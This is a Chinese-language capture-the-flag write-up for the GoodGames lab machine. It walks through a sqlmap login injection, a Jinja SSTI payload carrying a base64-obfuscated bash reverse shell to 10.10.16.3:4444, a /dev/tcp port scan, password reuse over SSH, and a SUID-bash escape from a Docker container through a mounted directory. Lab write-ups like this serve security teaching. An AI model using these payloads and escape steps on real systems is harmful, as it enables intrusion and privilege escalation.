本篇文章介绍了针对GoodGames靶场的渗透测试过程。首先,通过信息收集发现了开放的端口,并在登录时发现了SQL注入漏洞。利用sqlmap获取了管理员账户信息并成功登录。随后,进行了SSTI注入,进入了Docker容器。通过扫描Docker主机的开放端口,发现SSH服务可用,使用超级管理员密码登录到用户augustus。接着,通过修改容器内的文件权限,成功进行了Docker逃逸,获取了Root权限,并最终获得了Root标志。整个过程展示了从信息收集到提权的完整攻击链。
Information Gathering
{
"target": "10.10.11.130",
"scan_time": "2025-12-27 07:36:12",
"total_open_ports": 2,
"ports": [
{
"port": 53,
"service": "domain",
"banner": null
},
{
"port": 80,
"service": "http",
"banner": "HTTP/1.1 200 OK"
}
]
}
Vulnerability Analysis
登陆时存在sql注入
Exploitation (User Flag)
通过sqlmap得到
+----+---------------------+--------+----------------------------------------+
| id | email | name | password |
+----+---------------------+--------+----------------------------------------+
| 1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec |
得到密码superadministrator
进入后引导我们到internal-administration.goodgames.htb
因为是python所以首先尝试SSTI注入

存在漏洞
{{config.__class__.__init__.__globals__['os'].popen('printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDQ0IDA+JjEpICY=|base64 -d|bash').read()}}
进入一个docker
root@3a453ab39d3d:/home/augustus# ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Dec 2 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rw-r----- 1 root 1000 33 Dec 27 07:03 user.txt
root@3a453ab39d3d:/home/augustus# cat user.txt
486eabcb33e111ad28a15978c5e059d8
Privilege Escalation (Root Flag)
因为docker主机ip是172.19.0.2,Docker通常在默认配置中将子网的第一个地址分配给主机系统172.19.0.1 使用bash扫描当前pc主机哪些端口开放
root@3a453ab39d3d:/home/augustus# for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open";done
port 22 is open
port 80 is open
使用superadministrator密码,通过ssh登录到augustus用户
利用挂载目录进行 Docker 逃逸
提权路劲:因为在docker中是root并且将/home/augustus的目录映射到docker中,所以我们可以复制/bin/bash然后将其修改为4755
augustus@GoodGames:~$ cp /bin/bash .
root@3a453ab39d3d:/home/augustus# ls -la bash
-rwxr-xr-x 1 1000 1000 1234376 Dec 27 08:28 bash
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4755 bash
root@3a453ab39d3d:/home/augustus# ls -la bash
-rwsr-xr-x 1 root root 1234376 Dec 27 08:28 bash
augustus@GoodGames:~$ ls -la bash
-rwsr-xr-x 1 root root 1234376 Dec 27 08:28 bash
augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.1# cat /root/root.txt
1d9f41007f7416281acd98dde9c1b108
利用容器内的 Root 权限,修改了挂载目录下的文件权限,赋予了它 SUID 能力。然后回到宿主机,执行这个文件,从而继承了 Root 权限。